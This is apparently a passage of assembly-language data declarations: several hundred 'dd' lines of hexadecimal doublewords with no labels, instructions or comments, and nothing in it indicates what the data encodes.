		dd 3ADE8720h, 6A802B73h, 158A725Ah, 98024E3Dh, 29E477DAh
		dd 9A74C01Ah, 2BFD24BFh, 160C07C6h, 0B351074h, 8A00779Ch
		dd 44706C63h, 3F851BDAh, 6A007C13h, 49F2258Fh, 3CC0FC67h
		dd 3FAC0A76h, 0CF5901F9h, 20170EECh, 9BD06094h,	0B4332200h
		dd 12324BCAh, 0E8194C4Fh, 0CD9C843Dh, 0F71A4E95h, 85EB6680h
		dd 8F0003E3h, 46E135ACh, 3FA6DA45h, 1000A8FAh, 0E2130B48h
		dd 392ED1F0h, 1F0038E9h, 66CEA0Dh, 178A00A8h, 292C8F79h
		dd 0E21E7610h, 0DF421DEEh, 0E07BF650h, 77D9BFC0h, 0BD04005Ah
		dd 0A1A8B944h, 9E9017B8h, 0C11F1901h, 0E571C6F8h, 0FF52A840h
		dd 4CB22D45h, 0EF1A0800h, 0D104EA6Dh, 3A8E8BA3h, 9E1C480h
		dd 49790398h, 74912465h, 561ED8E0h, 0ED00B0B2h,	0B917DBAAh
		dd 0F68DA5h, 0DFAEACD7h
		dd 8ECAE249h, 2338C400h, 1BC751BFh, 902550A9h, 9EAA0299h
		dd 0EFD14A2Bh, 44FB9D00h, 9060FEB8h, 107104h, 3F6BF164h
		dd 3CC93ED9h, 6E04A00Eh, 2F0CE57Ch, 2A2990D0h, 38BD288Ah
		dd 612C00A8h, 0CAF819D3h, 60027FFFh, 665E39C2h,	80D8E0A4h
		dd 1042600Dh, 8199D7F3h, 0CD002F75h, 0A956737Ch, 3DC5D0h
		dd 863FC691h, 68CE0B11h, 9395883Dh, 0B482E064h,	63B851CAh
		dd 0CBF9D910h, 0FB9220CCh, 0B04B4E00h, 9D128570h, 0EC8A282Dh
		dd 0AB281DB4h, 0C2E3C7FFh, 0F38180EDh, 92002B25h, 273EB8EBh
		dd 8FC9FCh, 0D3D23AFBh,	0E3AFB27Eh, 35871918h, 444F58h
		dd 0FF70A8ADh, 0A542810Fh, 61458A02h, 80721BBAh, 9E079BC3h
		dd 1CE8779Ah, 0D7148D6Eh, 43F20FE9h, 6860834Eh,	4AED875Ah
		dd 0F75CA602h, 40AE57E0h, 655324h, 0AC84231Ch, 0A28F75AFh
		dd 0D980F094h, 92C4E496h, 20B6DBh, 0E826EA7Ch, 0B1000A2Dh
		dd 0E18EDE38h, 0BEEC2Eh, 8C577ADFh, 837CBCC0h, 1AB3C309h
		dd 0FC2500F3h, 84C1AFh,	856A9B4Eh, 23E8193Eh, 8B01ACB0h
		dd 0E0663AA4h, 0B4C87606h, 1C24B05Ch, 5651B21Eh, 4AE8004Eh
		dd 41DBFBF5h, 0EEB57207h, 40F1C32Ah, 29C06016h,	0BCF0063h
		dd 6FD46E12h, 2A0083F8h, 498BCCC2h, 0EC4FBA48h,	0E275C4h
		dd 80619066h, 3EC674FEh, 60008BAh, 29B1C395h, 70FF08h
		dd 85FE6101h, 4E8830DCh, 0DB846200h, 351ABA38h,	4B740146h
		dd 0EE3EB401h, 0E63DC455h, 26BEEA01h, 85332983h, 0AC243CE1h
		dd 5AFD3BC6h, 877BAE80h, 1355948Bh, 88966B09h, 1E140091h
		dd 3E32F1ECh, 5D00FFC5h, 9641DC0Eh, 0CD0C2EC3h,	1086FE8Ah
		dd 7620FDF0h, 6DBF00CFh, 0C3EFD5D0h, 130BA756h,	22E7B40Bh
		dd 607A5800h, 3F708870h, 78870F8Ch, 73F2497Fh, 3807C5A8h
		dd 5A896156h, 0C0EEEE85h, 7D40AE8Ah, 0D5DB9D00h, 0C72B07FAh
		dd 45170E7h, 54DA52B1h,	0F18C2D3h, 9960AC48h, 563CE1Ch
		dd 0CB90123Fh, 7239CC00h, 0E29CFA9Fh, 2C88006Ch, 0B262EFF8h
		dd 491216C2h, 1C000F3Ah, 11E89918h, 137EFE07h, 5095430h
		dd 0D02EF65Ch, 2CDB087Ch, 2DCABE00h, 1911977Bh,	0B0CC92A0h
		dd 8C230029h, 0C3CE4CE3h, 0DA3D259Ah, 853B00A9h, 0CA48FE8Dh
		dd 39D307C7h, 0E0E0CE08h, 319BED2Fh, 0C5BC3700h, 0FC24E482h
		dd 9A6705ABh, 806E9253h, 63F52B10h, 0FC310A4Bh,	0B7F804FBh
		dd 6ACD002Dh, 4B9D747Fh, 91C214h, 0F5E0E900h, 3E0C2E93h
		dd 1CCD2112h, 71397700h, 0D3C303D2h, 0A5008498h, 4889C7E3h
		dd 587351D7h, 280440F1h, 800CA3D8h, 0A19DBD18h,	0FFFC7700h
		dd 0A6FD75E8h, 0B10D0061h, 9E9F0181h, 530099DEh, 7CC9CDBh
		dd 2E8BC2h, 8DA6FE0Bh, 6169E1D1h, 82C07D3Dh, 4BE6D71h
		dd 8A74C018h, 8D2C0034h, 0CD861495h, 733F221Ah,	0C206F73Ah
		dd 0F09E0F32h, 3F7C0E2Eh, 4140F767h, 0BF217D8h,	11F89003h
		dd 0D0C927E8h, 0A40250h, 0B8AB7818h, 0CD8E9883h, 1F4A6C03h
		dd 0E9F32805h, 0E864E629h, 950301DEh, 0F6701286h, 2EA4700Eh
		dd 32A98F00h, 4B69CD15h, 30AB0EDh, 45874CDFh, 0A5D8E37Fh
		dd 5203C3A2h, 3181169Dh, 77F788B1h, 8F760B67h, 18C8F828h
		dd 5BFE29CBh, 167AF4F9h, 18D6AC30h, 0B81264C9h,	11C661E4h
		dd 3B4B1154h, 28321F00h, 7F78DC4h, 0CEC5514Dh, 0EADEE199h
		dd 0E9A6E075h, 473D210Fh, 0E8D28508h, 0F66D6080h, 0D04D03C6h
		dd 1C7653A8h, 0C10FB3C8h, 4BE5BE1Eh, 8037438Bh,	0B080B9BDh
		dd 9928008Ch, 6930E8F2h, 6C186DD0h, 0B688D372h,	88E8BC8Dh
		dd 604F4913h, 0C7297655h, 7D58C086h, 367AE575h,	0DDA3E200h
		dd 9CB6FCFh, 2A77FC44h,	24B37Bh, 58E0A9E1h, 87B443DBh
		dd 0E3190CA0h, 0ACC83900h, 0E4AA2911h, 0BF40003Ah, 0F9BAD456h
		dd 67F0EF1Ch, 42F8997Dh, 76632500h, 0A0742C9Dh,	0C87058h
		dd 0A37B7126h, 8FE45135h, 10802900h, 0B028D2F0h, 785D1222h
		dd 14BA006Eh, 13CF1B4Eh, 3C8D5E00h, 4CACCC83h, 75060724h
		dd 0C57492C5h, 2658038h, 94829EEh, 0B2200099h, 0B90EDA53h
		dd 2CDF0163h, 35CC54A1h, 0C81FF77Ch, 80FE1E92h,	0DDF1052Ah
		dd 12A7B6C0h, 2028657Eh, 0D383338h, 0C93C6B77h,	0AC15281Ah
		dd 91623000h, 99FFBE27h, 723100F7h, 47AF53E1h, 7302E240h
		dd 3292692Ch, 368340D9h, 3C13FAF4h, 0A85E20E5h,	10403356h
		dd 0DA30F812h, 87A11DB2h, 7C55009Dh, 5AD0F232h,	0B900C476h
		dd 94D3FBDDh, 0A1DCE2BFh, 0C180A485h, 0D61FAD2Fh, 0A624B008h
		dd 7300107Ch, 27C00920h, 0DD580119h, 3452DCB5h,	0CED18A4Bh
		dd 0F841F04Dh, 346CB76Ah, 759ADB00h, 9D04AE0Bh,	0A92C9105h
		dd 845EE460h, 7EA2B8C0h, 26DD5354h, 1ED9447h, 8EE9B284h
		dd 0C9C07A06h, 3BBF424Eh, 9080205Bh, 12EA3113h,	0F20FCE53h
		dd 20838E78h, 0EC14BA74h, 69A70075h, 3C72811Dh,	10CA7617h
		dd 34E00422h, 0F6CCE66h, 7053A18Ch, 6678A8Eh, 1922C0EAh
		dd 0BEE8727Eh, 0FF8D3501h, 90A1A769h, 6F813083h, 2911451Ah
		dd 91219C23h, 88B8C608h, 0AA883F3Eh, 0A90B877h,	0BDC0116Ah
		dd 3F513230h, 93007664h, 11FB6E4Ah, 0F6DFEED1h,	0EAA6005Dh
		dd 28FDE7B9h, 0B8000CD5h, 6535901Eh, 0F4BA246Dh, 589B860h
		dd 9AA8D33Ah, 289480E3h, 1C386E44h, 87FC8463h, 0CC80184Bh
		dd 7A50131h, 9CBDE76Bh,	58A8F0D6h, 3700E311h, 321BFE7Eh
		dd 68E861h, 659619D7h, 0DD586CAh, 77F4C303h, 0E8A853F1h
		dd 5BB755h, 0B45C848Eh,	0A58518Bh, 12476800h, 3E15214Bh
		dd 26B00145h, 0ADC753E3h, 7AC050CEh, 0C00F460h,	3DBA9336h
		dd 380158D0h, 65005D14h, 53219CF0h, 96008AB1h, 78024BB7h
		dd 369260Eh, 0F0DE831Bh, 0EC889933h, 490FBA1Dh,	0E085E0ADh
		dd 0F34665E7h, 0D2430152h, 4177CC09h, 0C18180F5h, 90CE3D12h
		dd 44DD026Bh, 1A2166CBh, 86A40C40h, 0B00071F8h,	0A5072D8h
		dd 350BFEh, 95986AA6h, 70E0567Dh, 806F0202h, 0E0D8946Ch
		dd 0F8406Eh, 0BA877C21h, 5AFE0198h, 0A826500h, 0B2069B1Ch
		dd 39FB017Bh, 5CD638BBh, 0F01231D2h, 0F430EEBCh, 89B91814h
		dd 527C008Bh, 0B534C877h, 400F37Dh, 0CADA647Fh,	51CC6h
		dd 4C351BEFh, 1D891E7Bh, 0BD951500h, 0C17A04B3h, 3C590052h
		dd 5C2E8CA9h, 93003E22h, 0FDD83203h, 5C9F616Fh,	0B01C62C7h
		dd 0FA9B40DBh, 6083EA21h, 0A76D8000h, 29A3F3AAh, 7784E404h
		dd 3163034Dh, 6049D2EFh, 7194F181h, 34B6601Fh, 0D53D2800h
		dd 2F698CB7h, 112C00E7h, 3ED2478Bh, 260030D3h, 0C6AC0D0Bh
		dd 651DE6h, 18957417h, 2243C767h, 7D52591Eh, 99BC840h
		dd 0F2E51225h, 79270EA8h, 0BC004A69h, 0B4C84670h, 72FC861Ch
		dd 0FB9894h, 0FB3FFE3Ah, 6B8341h, 0D4348B57h, 46A61571h
		dd 9D8C40E5h, 61007B45h, 0C4919BAEh, 24C1C6BCh,	201F10h
		dd 7C271436h, 10C025F6h, 0BCCDE7AEh, 38A901BFh,	0D2C133D8h
		dd 0E1203562h, 0C22A2h,	8F75067h, 2CB9360Dh, 129C9F42h
		dd 0FA2A00A9h, 6CF1C859h, 0D61D8600h, 0B19B1BC6h, 34D00045h
		dd 0C83A2312h, 0BA0505C9h, 0A54F6A71h, 329C8000h, 397EF0Ch
		dd 8E215EB0h, 20D8F53Ah, 7B00796Ch, 0AB4CCE85h,	0CD50A6h
		dd 0A1D3C8A4h, 755E2D5Ch, 82BBCA00h, 0C39AEB6Dh, 0B06350FBh
		dd 328001D1h, 1BFA25CEh, 41AE3185h, 0E812F4BCh,	0A10056E4h
		dd 1EFF61B2h, 109CCFh, 0E54A1AD7h, 3D25982Dh, 0D4EE61Ch
		dd 0D15C59C0h, 502069h
		dd 838AD557h, 85340ADAh, 94194C00h, 0B3631BC8h,	0E3D700ABh
		dd 784BD481h, 0F60FEB80h, 0C00C5E2Ah, 9196B81Eh, 1FC8F493h
		dd 80E2A5FFh, 0FD595C77h, 0E400E88Ah, 62AE7B6Ch, 0CB413h
		dd 0A72D3383h, 38B6BAA8h, 0FF563900h, 0C10748F3h, 0BE9B00CDh
		dd 7C3A3F14h, 0DB01EBDCh, 1E641309h, 0B4D86F93h, 0A36E3E32h
		dd 8055E99Eh, 7F76F7A2h, 0DA79EF43h, 80B46238h,	27AE67BCh
		dd 0ED0D2BC3h, 0BD6ACCh, 5752F7F5h, 9339C4Ah, 8FB2453Dh
		dd 3F883EEFh, 0E4381CC0h, 297FFCCh, 4B584E17h, 75E0A942h
		dd 7100ECB5h, 4A6D2367h, 0FB5E8Ch, 0FD5785B1h, 0E59BB847h
		dd 0B7FF9E00h, 770A33BDh, 0E4520767h, 50CBAE2Eh, 7465681Ch
		dd 0B00EEF6h, 64ED3533h, 98CF1A19h, 0E576007Dh,	42B26210h
		dd 0EF3CC77Eh, 9FCE806Dh, 0B82FDE40h, 82D5A02Ah, 296300ACh
		dd 0D01A2758h, 0FA0310BEh, 3B7224C6h, 86EDB85Bh, 2B9000CBh
		dd 58BA347Ch, 0A80091C1h, 0B30A67ACh, 278380h, 0E79ABF6h
		dd 355B58BCh, 0C98ABF00h, 1C372FFFh, 4B782Ch, 0C1AC6467h
		dd 3075C395h, 4AECD701h, 32D1D8DFh, 0B951D8h, 0AB21DCAAh
		dd 124022C0h, 88775D00h, 0D914C3Fh, 0B57B773Dh,	0FC01E8F8h
		dd 0F2CD4E30h, 69F0A6DEh, 40850043h, 60BE7CCAh,	0E200F72Dh
		dd 0A515D8C9h, 33BDE92h, 0EB13070Ah, 0B9D3B7C2h, 0C800A28Bh
		dd 0D2089DE5h, 0FB4658h, 7EDC5177h, 0F3BE2EA7h,	3EF9DF0Fh
		dd 0D31BC055h, 335E9Fh,	7C27140h, 0DB32FDB0h, 636A3700h
		dd 0DD68A33Dh, 0A27E00C6h, 21EE862h, 80006E06h,	3067DA9Ch
		dd 398DF829h, 5581BD1Ah, 0BE05E0EBh, 0E688809Fh, 0F20A2B39h
		dd 0A2460060h, 0A81BDC27h, 30005768h, 8A2F4CF5h, 1D97C0B6h
		dd 8FF3E9FDh, 74009033h, 0BADB5CE0h, 73792900h,	2B365612h
		dd 7FEE0Eh, 0F748C932h,	0D76BBD83h, 6E00A2FEh, 0C55C340Fh
		dd 0F60A31C0h, 597E252Fh, 781709C0h, 0D8281000h, 6E3D18A5h
		dd 9FF10712h, 0DEBBDEDFh, 7FFA1F80h, 750615FCh,	0F6962801h
		dd 0D7532610h, 3A93003Fh, 0DA1FFF2Dh, 43AC2600h, 0E0BEF3CFh
		dd 6BC30067h, 4742F85Dh, 593ACB98h, 43081337h, 60962D0Fh
		dd 3BE0D4F1h, 0A2E900F5h, 941DFC24h, 143D597Bh,	906B80C1h
		dd 1FFEDAE5h, 159100F9h, 82C4B76Fh, 0D9A08B83h,	0F018FF74h
		dd 0BA586AB2h, 13A30068h, 6157CFD2h, 0CA00124Ah, 4FFE8011h
		dd 1E6732A9h, 0C013DAE1h, 0A5502123h, 3B76B0A2h, 355A4A00h
		dd 0DEAFCD9Eh, 9BB2006Ch, 4B604CD8h, 4400EC37h,	6617C41Bh
		dd 7C76BC38h, 0A9680057h, 403B9FD6h, 0D700B490h, 0ECD02CF1h
		dd 7E813Dh, 0D56D1ACAh,	0B1AABE30h, 0BB376A1Eh,	0AD008868h
		dd 45295FE4h, 46613h, 0AFA2D3FBh, 0FFF06D33h, 78893407h
		dd 9CA3220Ch, 8547C8C1h, 430F3AD8h, 0BAA36180h,	8CE5CA9h
		dd 6C63BB00h, 1FB19204h, 6F40147Ah, 1400C7F6h, 0D41029F3h
		dd 921CC76Eh, 82C037EFh, 2D59695Eh, 261500CAh, 7A655702h
		dd 48E09FEBh, 0F1DBCC14h, 34A828DCh, 0C106D8FCh, 15FD8FA4h
		dd 27221091h, 6087000Dh, 0D004DD95h, 5D2B00D4h,	0CDCBCAA2h
		dd 69EC7557h, 0BEB964C0h, 5F5B83h, 0DE586C92h, 0CD6719D5h
		dd 7269DF00h, 0CBA261D4h, 66020965h, 3006C2DDh,	0D9483CABh
		dd 55280530h, 0C0FBCB87h, 745C6749h, 46381900h,	0A51F4EBFh
		dd 32C10E8Ch, 80FC0409h, 42200C64h, 9D123F35h, 37009731h
		dd 0A60654B0h, 7F740037h, 671A4123h, 0D008B3Fh,	88140A11h
		dd 1ECD1E7h, 2F5457D2h,	8B6882EEh, 80FADD54h, 19B095AFh
		dd 0E54B002Bh, 0D2F8D6B7h, 0CE1D8E68h, 1F871DADh, 0ACB04F1Ch
		dd 0ECF5835Dh, 79370FA2h, 30263ADAh, 5101104Dh,	740DF80Eh
		dd 0E2EC278Fh, 4A071F7Ch, 3980BCD2h, 56B3DD88h,	94001834h
		dd 15FFC373h, 4813F5h, 0BA328EE5h, 0E3D3ADD9h, 0A4535200h
		dd 0B10B1ED2h, 0FBA90049h, 696A89ABh, 5F010CFEh, 46EA7101h
		dd 59C065F8h, 0D933008Eh, 35160742h, 4B2698FBh,	94006988h
		dd 865C89CEh, 0E3843C59h, 0D7776A00h, 0F8B016ACh, 9FB97C00h
		dd 425F7DECh, 0CBCF0F4Eh, 7F0F321Bh, 0D9625400h, 0C490D3F5h
		dd 91C7507h, 0D6909266h, 7AF718E6h, 0FDF6B1h, 8BAB9F20h
		dd 61C2CA22h, 3F58702Eh, 0C1F2EC00h, 190DE5Ch, 60EAD80Bh
		dd 0F8739905h, 0A0B0C73Bh, 7F5EE500h, 853312CAh, 0F2B7F1Ch
		dd 5893F042h, 4E0D9080h, 1103402Ch, 0BF21886Eh,	3277B983h
		dd 26B4F06Ah, 0B54A3900h, 0DFC3E4E9h, 977D26C8h, 0E08C0024h
		dd 0BD6A362h, 5F1A4707h, 9C4044EAh, 0D3ACE2h, 0E1BCEC02h
		dd 0C0F53D35h, 0A577FF04h, 5CC09645h, 3AA44CEDh, 0B401D465h
		dd 34111C28h, 0E8382108h, 3B00ADDEh, 17402F50h,	1E5C5Ah
		dd 0ABB9B6B3h, 0E626ECF9h, 24CCBD1Dh, 981F6800h, 0EA31CE78h
		dd 4010C0E5h, 2DF1FF9Dh, 3260700Fh, 0E45C2D5h, 6DC44010h
		dd 0E27A42h, 7C5275ADh,	6562B28Ch, 0AC5E1F00h, 0D1035A6h
		dd 7F5B00C1h, 0DB977383h, 1600DDDFh, 0EEE5961Dh, 0BF2AA1h
		dd 0BCE472A5h, 88782E7Ah, 20C79800h, 4DBDCDE0h,	184B60EFh
		dd 1D48AE6Bh, 74875200h, 7C5A8A80h, 1E3175D7h, 80B6ED7Bh
		dd 8EC0A3DDh, 0FF006E25h, 51195EF2h, 5289D7h, 189E1C8Ch
		dd 0A1C86F1Eh, 277AD300h, 30EA96D0h, 0AA81CA6h,	0F94D00E4h
		dd 34AB11C3h, 53387800h, 0A1C67A71h, 2F4EC7Ch, 0F6299743h
		dd 48689BBFh, 8C7C5904h, 154BEC00h, 86C4667Dh, 0DB915C89h
		dd 16472100h, 0EEC5744Fh, 80B6E03Ch, 9DE892AAh,	8042Eh
		dd 75E5989Ah, 0EB580717h, 0D0663A38h, 2D0093A4h, 553392Fh
		dd 0A8C79Ah, 8AF450C0h,	0B5BEC829h, 0DC989B00h,	0CA35782Dh
		dd 16C30F96h, 4C20C57Eh, 7706071Ah, 55E6C4A0h, 27D5D0F3h
		dd 56764900h, 19B1BEA6h, 8DA0224h, 64384BF2h, 300163E3h
		dd 1D881EA4h, 65606C1Bh, 2F1A007Ch, 0BA72968Dh,	0D70038B7h
		dd 1516D535h, 4B6A05h, 59F6A59Fh, 934E31Ah, 63B60216h
		dd 58A0EC40h, 984A28Ch,	0C6C2E446h, 519ECA00h, 0AA00954Ch
		dd 0A62173D5h, 6E5318h,	0C6847C06h, 6F31D669h, 16388849h
		dd 0DC41A397h, 1FD45696h, 3693F30h, 18DB3D57h, 884868B9h
		dd 3140098h, 32C25192h,	1F99000Eh, 531C47A9h, 638DAC5h
		dd 3B6703BAh, 95F29C8h,	6BDF5E18h, 0F47284DDh, 0EC65B4C0h
		dd 67C1011Ah, 80710ACFh, 0A0C2ECA9h, 9C0405FCh,	2C3824C0h
		dd 409398C0h, 0C72B03EDh, 542AC98Ch, 5DC144D8h,	9CE80724h
		dd 0FD0321Eh, 0FEF98075h, 7A0C1403h, 0E19363h, 73760811h
		dd 43A02DE3h, 72204D00h, 5423DD47h, 0A0F4A33Eh,	72EDFB1h
		dd 0F51036EEh, 39EC037h, 0C500A6E0h, 23495EFh, 1821818Bh
		dd 28D9B9BBh, 56009C86h, 0AAA36963h, 794C53h, 0B9666425h
		dd 0D3F61DDFh, 0C7262898h, 810F9A1Ah, 8A27A098h, 0F40988D5h
		dd 0E7F80Ah, 0D64DE5D4h, 7EF565Eh, 1AACA900h, 83DAE4CAh
		dd 9AE604h, 2F48F43Bh, 0D7BF285Bh, 63704500h, 1268FDBCh
		dd 2ECAF4A6h, 0D04935h,	0C6D8C999h, 3B163107h, 3500E20Bh
		dd 3351157Dh, 74AC0063h, 56B21684h, 0C7734D2Fh,	0C31ADCFBh
		dd 8A210D13h, 0DFE90000h, 3DEB829h, 2E740AEDh, 0D6FA8F50h
		dd 0F6E010EBh, 537A7764h, 32087C03h, 0E99F4633h, 17F081E4h
		dd 0FD8979D6h, 98096432h, 0C00726Ch, 82A6A276h,	0F00FC77h
		dd 0C4E95FD8h, 96F1D9Bh, 49EAA55Bh, 3BCF5402h, 92F7F0A2h
		dd 0F032E880h, 5C00076Ch
		dd 0CF8CB1CDh, 708BD36h, 0D9F8471Ah, 0F481AFAEh, 708F3DA8h
		dd 0CA282A3Ch, 7801FFBEh, 0B1E8C863h, 64ECD432h, 450E01B6h
		dd 48BEEF6Ah, 9F308089h, 14EAA158h, 0E43B00E2h,	7A23DA42h
		dd 87791C19h, 12DB4B00h, 0C891A6E3h, 0F9D1001Fh, 179DBD77h
		dd 0A1006ADCh, 1C0B15B2h, 0B4C12A4h, 0F07721E3h, 301BF000h
		dd 700FE42h, 0B84691BCh, 144AF867h, 0F0F2E183h,	401E5A1Eh
		dd 64416CC1h, 0D9000978h, 4718E4BDh, 5082337Ch,	0A0FCF2B0h
		dd 10015BFCh, 21C3146h,	0DAD4B55Dh, 4FCC80DBh, 1BAD189h
		dd 0F6939E0h, 30D090A8h, 5A00B64Fh, 4BEA612Bh, 71EAABDh
		dd 5E5039DFh, 70D4E7FDh, 0D212B425h, 0FC610628h, 0DA0DAB11h
		dd 1646EE00h, 6BFE53C3h, 0BB513200h, 954B5517h,	0D8A2A0E8h
		dd 0A7C8001Dh, 213544F8h, 9700BDD3h, 1FADB18h, 0C43AB8h
		dd 1456D557h, 0BAEC4629h, 3590F40Fh, 0B26580CCh, 1F838022h
		dd 80E46A37h, 8636C355h, 0B4006352h, 71CB0ED5h,	3C0942Eh
		dd 107E6EA7h, 1888788Bh, 0EE1E65F5h, 0CCCF7929h, 47A6609Dh
		dd 1B908B3h, 35F11DBBh,	0F32CC795h, 0B54410C0h,	31A7EF07h
		dd 0DB4AD2h, 0F189723Ah, 3492F8h, 0F487EF4Bh, 0DE81560Bh
		dd 0BFB29904h, 0FAC01075h, 0A078DA7Ah, 2D8A5F0h, 13D78F64h
		dd 41F748DEh, 487093E4h, 252D0347h, 6CCED534h, 0EF68A1A8h
		dd 0F93AA300h, 63D49A6Dh, 8DB8EEh, 0BA992BE1h, 0CEF6DA4Fh
		dd 806118A1h, 242AF411h, 977A54Ah, 0CB55C920h, 83FDD060h
		dd 0DE010E1h, 189A0099h, 0C3059C5Ch, 80F804A3h,	9F2BD300h
		dd 61777C38h, 3CA007FBh, 80981BD0h, 2E41F711h, 0B7004771h
		dd 9F815276h, 0C04327EDh, 15FB3920h, 1B603ECCh,	0BCA77E69h
		dd 44CF4CC1h, 7100303Bh, 1B9E997h, 70057353h, 4F409F5Fh
		dd 42D6F8C0h, 272B05ACh, 80CB3C97h, 98AA5B43h, 0BA15B606h
		dd 155842DDh, 9C7CD5C2h, 3A5B3700h, 0B1751C83h,	0EE6F5E00h
		dd 0CE95B04Ah, 0DD2D001Bh, 7F0ADA49h, 0FF1D42F0h, 68008B93h
		dd 0E37A3929h, 55FB0094h, 0EFFAB0D1h, 140B7991h, 0F65CD0h
		dd 881733B1h, 27ECFE3Bh, 0E67690C5h, 0A0D1D700h, 0FEE0CFDDh
		dd 5C6D000Fh, 8F281287h, 0AD00D383h, 0C3626FF9h, 6921DEh
		dd 23C44053h, 82633D20h, 0D39B807h, 37D0D3A9h, 0B8A8A4E8h
		dd 0E26E007Ch, 89F4AEA2h, 490F1250h, 942C1B58h,	4F068E0h
		dd 217A30F6h, 0A588011h, 750A1A61h, 6E8515Ch, 0E9AE3E1Bh
		dd 0B7310D01h, 4787ACF2h, 0C2B4C7B4h, 56E1C22Dh, 0B9D7FCF0h
		dd 59421731h, 3AE8C926h, 8D50C436h, 7F482084h, 0C1127C4Bh
		dd 99096C28h, 0FBC440F7h, 0A5009D4Ah, 8D2DF06Dh, 1298F6Eh
		dd 3E032862h, 8AF5E932h, 6040C061h, 86063F11h, 59021657h
		dd 913EF907h, 10F68DBh,	5942CCF0h, 76DD7049h, 58D98C00h
		dd 666FC100h, 64C09E7Fh, 2DAC18F3h, 0AAAEE880h,	0BC0F707Ch
		dd 27F58D7Ch, 69CD447Fh, 0F71D9C8Ah, 21C0CF4Ch,	1AF45431h
		dd 5D309576h, 5A84A9FFh, 26184416h, 4B91D304h, 990EFFE0h
		dd 688F492Eh, 41DA1D03h, 532502Fh, 0F47A0FB6h, 0A9B2D602h
		dd 4BFD574h, 3E944BF0h,	0A128CB18h, 0C1F8DBh, 0AB3B7083h
		dd 10199E74h, 4B7D750Eh, 28450D81h, 368C10FEh, 890FF588h
		dd 0E97C086Dh, 6C10A812h, 0C902E9B9h, 28116FC3h, 0A421AF33h
		dd 91C8D908h, 248F00B5h, 79D692B1h, 56D0015h, 23825C37h
		dd 0ED004797h, 69145DAFh, 7509C174h, 72A6006Eh,	3ACEEAFAh
		dd 309033BEh, 0B06BCC00h, 0F9E4EF8Ah, 4576C3h, 2AC93930h
		dd 26AED0F8h, 0C5857400h, 0B533F20Eh, 0B60500FEh, 0D19F5473h
		dd 9D7609E0h, 8CE67D06h, 410DF9Ah, 73B2FB8Fh, 3C6CC316h
		dd 0B0A7069Ah, 3492A0A1h, 6400DF7Ah, 0A8A4835h,	0F44A1B10h
		dd 0E9EC69h, 0FBEAF6C0h, 793FC866h, 0A75CC204h,	5490A0EFh
		dd 435E19h, 916DC1D3h, 32AECAB9h, 8DE8F400h, 8E8F3EC8h
		dd 0F87A9Bh, 0F9279CCCh, 3D45B31Dh, 0E135B900h,	6EFD4AC7h
		dd 13940352h, 93A82207h, 0C5804E80h, 97FAE700h,	0B3260A03h
		dd 53EB00FFh, 0CE6771D4h, 0E8004B8Eh, 181D2E5Ah, 460977h
		dd 0E3BCFEB2h, 0F8154707h, 4EA4DC00h, 863497DEh, 2FC61F72h
		dd 1B8A8087h, 0CCD44233h, 3AF23Eh, 0A50926AAh, 3218D1h
		dd 0E2F3F792h, 21A65B67h, 0DDFBFC00h, 610C70D9h, 0AB90003Fh
		dd 0FAF6ED24h, 590B4519h, 8E6ADAC0h, 98CDE05Ch,	0F4CAD0B8h
		dd 35F275h, 0C90C74F0h,	9FFAF7A5h, 9177292Eh, 9E1FEC00h
		dd 0FAD8Ch, 7F4EE546h, 50A9530Dh, 1E03BEE0h, 15DB95B1h
		dd 59CEC843h, 52272DDh,	8517DC4Eh, 0FFE400BBh, 44B5E07Ch
		dd 0BE9A4902h, 0FDCFABAEh, 0A3642640h, 665D1F2Eh, 800ED700h
		dd 7E33B3h, 13DFC4BBh, 60968463h, 0D00AE98h, 0B438F378h
		dd 1D20C952h, 80D4F8EBh, 0D9409B8Ah, 8712E3A4h,	1C38C254h
		dd 933D0C89h, 3F103249h, 1043F707h, 0D610EA96h,	946856h
		dd 98BFD844h, 820C1C7Bh, 7E5C4E00h, 0F6AFC732h,	306900ABh
		dd 8E385F2Fh, 40001334h, 0F4CB7E5Bh, 88C14C2Eh,	3E00EA72h
		dd 0DCB2E60Bh, 126942FFh, 0B4130Fh, 958ACB6Ch, 511D5E4Eh
		dd 4C80E502h, 73E9F3D8h, 903C73CDh, 0DDFC03FDh,	0F75B608Fh
		dd 91007A83h, 33D581D4h, 6EEFBAAh, 0F2747172h, 8A03193Ch
		dd 84585ECFh, 0A41BE0EAh, 0D6EB0006h, 0EEE37B55h, 0C600DD80h
		dd 0CBD234F2h, 45E926h,	4B3A8718h, 1D174EB0h, 8054FF30h
		dd 98933EDBh, 0E2D50012h, 38B6F2E7h, 1579E606h,	6D7FB409h
		dd 3E00EFEh, 0E8F1AA9Eh, 9AC8F6Ah, 261613BAh, 355F3401h
		dd 3682075h, 0D5CC3B00h, 0B3320CE5h, 3A607872h,	0BF80A520h
		dd 85F32DBEh, 5C006A99h, 0AD05B439h, 906C2Bh, 0CA6E43A3h
		dd 0ECA0AEF9h, 0D6302F2Fh, 0A91C0FF0h, 0BFC800F3h, 46180113h
		dd 0BBA6290Bh, 0E28F5F75h, 7E583B60h, 0A23D0D5Fh, 0DA1780B7h
		dd 83F659A0h, 1B9A01AAh, 50A3D34Fh, 0C05BC5B6h,	0D413811Ch
		dd 7000C68Ah, 2A9ABC80h, 0AD430006h, 0CA86733Dh, 0C60028D4h
		dd 171E0CE2h, 0E1A78934h, 7B48F020h, 0C83A0035h, 6CE04480h
		dd 703EE754h, 0E51980A4h, 3A6525Dh, 0D0F00BDh, 0DEFFB51Ch
		dd 7D31BFF5h, 0BE4D94EAh, 5A9CD4h, 0A96825E3h, 7D81ABCFh
		dd 903B4500h, 0FEC5BA02h, 0B89B0006h, 16EB1475h, 3E007496h
		dd 2E4AC6B6h, 275326h, 3DE5C9F8h, 0D4135419h, 5BA98E00h
		dd 486FDA46h, 0C5713CB7h, 24296680h, 46AE244h, 86605500h
		dd 0EB9C2028h, 0B01F0057h, 0F4F8F52Eh, 0F939793Ch, 0E503BDDh
		dd 0E0060D38h, 0C8B61CCBh, 712A0737h, 50139F4Ah, 888F33C1h
		dd 475FBE00h, 7DEA8C29h, 59B8006Eh, 0A504B26Fh,	0DFA58BBh
		dd 0C900D0EAh, 0AF5EBAC2h, 262407F8h, 0E07DADh,	8035A185h
		dd 53074D2Ch, 25F73718h, 20A67990h, 1EC71h, 0CFEA03B0h
		dd 9F94AB55h, 6291CE00h, 8B30C539h, 0B8BE0011h,	65D69993h
		dd 17E6141Ch, 80209D3Eh, 2A2478F7h, 581B766Bh, 633F1444h
		dd 0AC4C7400h, 6F7C9CEBh, 18A2450Fh, 0B0A0001Eh, 0E8EF5249h
